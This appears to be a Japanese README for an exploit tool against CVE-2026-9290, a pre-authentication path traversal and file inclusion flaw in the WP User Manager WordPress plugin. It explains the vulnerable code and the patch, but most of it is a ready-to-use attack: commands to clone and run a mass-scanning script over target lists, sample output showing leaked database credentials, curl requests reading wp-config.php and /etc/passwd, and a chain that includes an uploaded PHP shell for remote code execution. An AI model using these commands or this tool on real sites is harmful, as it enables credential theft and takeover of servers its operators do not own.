
WP User Manager <= 2.9.17 の tab パラメータにおけるパストラバーサルによる認証前ローカルファイルインクルージョン (CVSS 7.5)
CVE-2026-9290 は、WP User Manager – User Profile Builder & Membership WordPressプラグイン (≤ 2.9.17) における高深刻度 (CVSS 7.5) の認証不要のローカルファイルインクルージョン脆弱性です。
wpum_get_active_profile_tab() 関数は、ホワイトリスト検証なしで tab クエリパラメータを直接 Gamajo テンプレートローダーに渡します。tab 値内のパストラバーサルシーケンスにより、認証不要の攻撃者がPHPのinclude()を介してサーバー上の任意のファイルをインクルードできるようになります。
| WP User Manager バージョン | ステータス |
|---|---|
| ≤ 2.9.17 | 脆弱 |
| ≥ 2.9.18 | 修正済み |
includes/functions.php 内で、wpum_get_active_profile_tab() 関数はホワイトリスト検証なしで tab クエリパラメータを受け取ります:
// Vulnerable: no whitelist check on $tab value
$tab = isset($_GET['tab']) ? sanitize_text_field($_GET['tab']) : 'profile';
wpum_get_active_profile_tab($tab);
その値は、テンプレートファイルを解決してインクルードする Gamajo_Template_Loader::get_template_part() に渡されます:
// class-gamajo-template-loader.php line 226
include($template_path . $tab . '.php');
sanitize_text_field() はパストラバーサルシーケンスを除去しません。../../../wp-config はそのまま通過します。
GET /profile/?tab=../../../wp-config
→ wpum_get_active_profile_tab('../../../wp-config')
→ Gamajo_Template_Loader::include('../../../wp-config.php')
→ wp-config.php included → DB credentials exposed
PR #445 でホワイトリスト検証が追加されました:
// Patched: check against registered tabs
if (!array_key_exists($tab, $registered_tabs)) {
$tab = 'profile'; // fallback to default
}
git clone https://github.com/shinthink/CVE-2026-9290.git
cd CVE-2026-9290
pip install -r requirements.txt
# Single target — LFI probe
python cve_2026_9290.py -t target.com
# Mass scan
python cve_2026_9290.py -f targets.txt -v
# Read specific file via LFI
python cve_2026_9290.py -t target.com --read "../../../wp-config.php"
# Save results
python cve_2026_9290.py -f targets.txt -o lfi.txt
-t, --target 単一ターゲット (ドメインまたはIP)
-f, --file ターゲットリスト (1行に1つ)
--read PATH LFI経由で特定のファイルを読み取る
-o, --output 結果をファイルに保存
--threads ワーカー数 (デフォルト: 25)
-v, --verbose 詳細な出力を表示
$ python cve_2026_9290.py -t target.com -v
CVE-2026-9290 — WP User Manager LFI → RCE Exploit
CVSS 7.5 | Pre-Auth | Path Traversal via 'tab' Parameter
[+] WP User Manager detected
[+] Profile page: /profile/
[+] LFI confirmed: wp-config.php (DB credentials)
[+] Content preview: define('DB_NAME', 'wordpress_db'); define('DB_USER', 'admin');
Host : target.com
WPUM : YES
LFI : YES
File : wp-config.php (DB credentials)
Time : 3.2s
[LFI] target-1.com 3.2s wp-config.php (DB credentials)
define('DB_NAME', 'wp_db'); define('DB_USER', 'root');
[LFI] target-2.com 4.1s wp-config.php (DB credentials)
define('DB_NAME', 'site_db'); define('DB_USER', 'admin');
[200/5458] 3% | WPUM:12 LFI:5 | current-target.com
ステップ1 — WP User Managerの検出
curl -sk 'https://target.com/wp-content/plugins/wp-user-manager/readme.txt' | head -3
ステップ2 — プロファイルページの検索
curl -sk 'https://target.com/' | grep -oP 'href="[^"]*(?:profile|account|dashboard)[^"]*"'
ステップ3 — tabパラメータによるLFI
# Read wp-config.php
curl -sk 'https://target.com/profile/?tab=../../../wp-config'
# Read /etc/passwd
curl -sk 'https://target.com/profile/?tab=../../../../../../../etc/passwd'
# RCE — include uploaded PHP shell
curl -sk 'https://target.com/profile/?tab=../../../wp-content/uploads/2026/07/shell'
1. LFI → wp-config.phpを読み取り → DB認証情報を取得
2. 別のプラグイン/メディアエンドポイント経由でPHPシェルをアップロード
3. LFI → アップロードしたシェルをインクルード → RCE
教育および許可されたテスト目的に限ります。
このソフトウェアは、許可された侵入テストを実施するセキュリティ専門家、自社のインフラストラクチャを監査する組織、および脆弱性の悪用を研究する研究者を対象としています。
コンピュータシステムへの不正アクセスは違法であり、以下の法律に違反する可能性があります:
- アメリカ合衆国: Computer Fraud and Abuse Act (18 U.S.C. 1030)
- インドネシア: UU ITE Pasal 30 & 46
- 欧州連合: Directive 2013/40/EU
- イギリス: Computer Misuse Act 1990
作者は誤用に対する一切の責任を負いません。
| リソース |
|---|
このプロジェクトはWP User ManagerまたはCarbon Fieldsとは提携していません。
| ファイル | 行 | 役割 |
|---|
includes/functions.php | #L955 | wpum_get_active_profile_tab() — ホワイトリストなし |
templates/profile.php | #L52 | プロファイルテンプレートスコープ |
class-gamajo-template-loader.php | #L226 | サニタイズされていない include() |
| リンク |
|---|
| GitHub Advisory | GHSA-83v9-496w-54wx |
| Wordfence Advisory | wordfence.com |
| Patch PR | GitHub #445 |
| IONIX 分析 | ionix.io |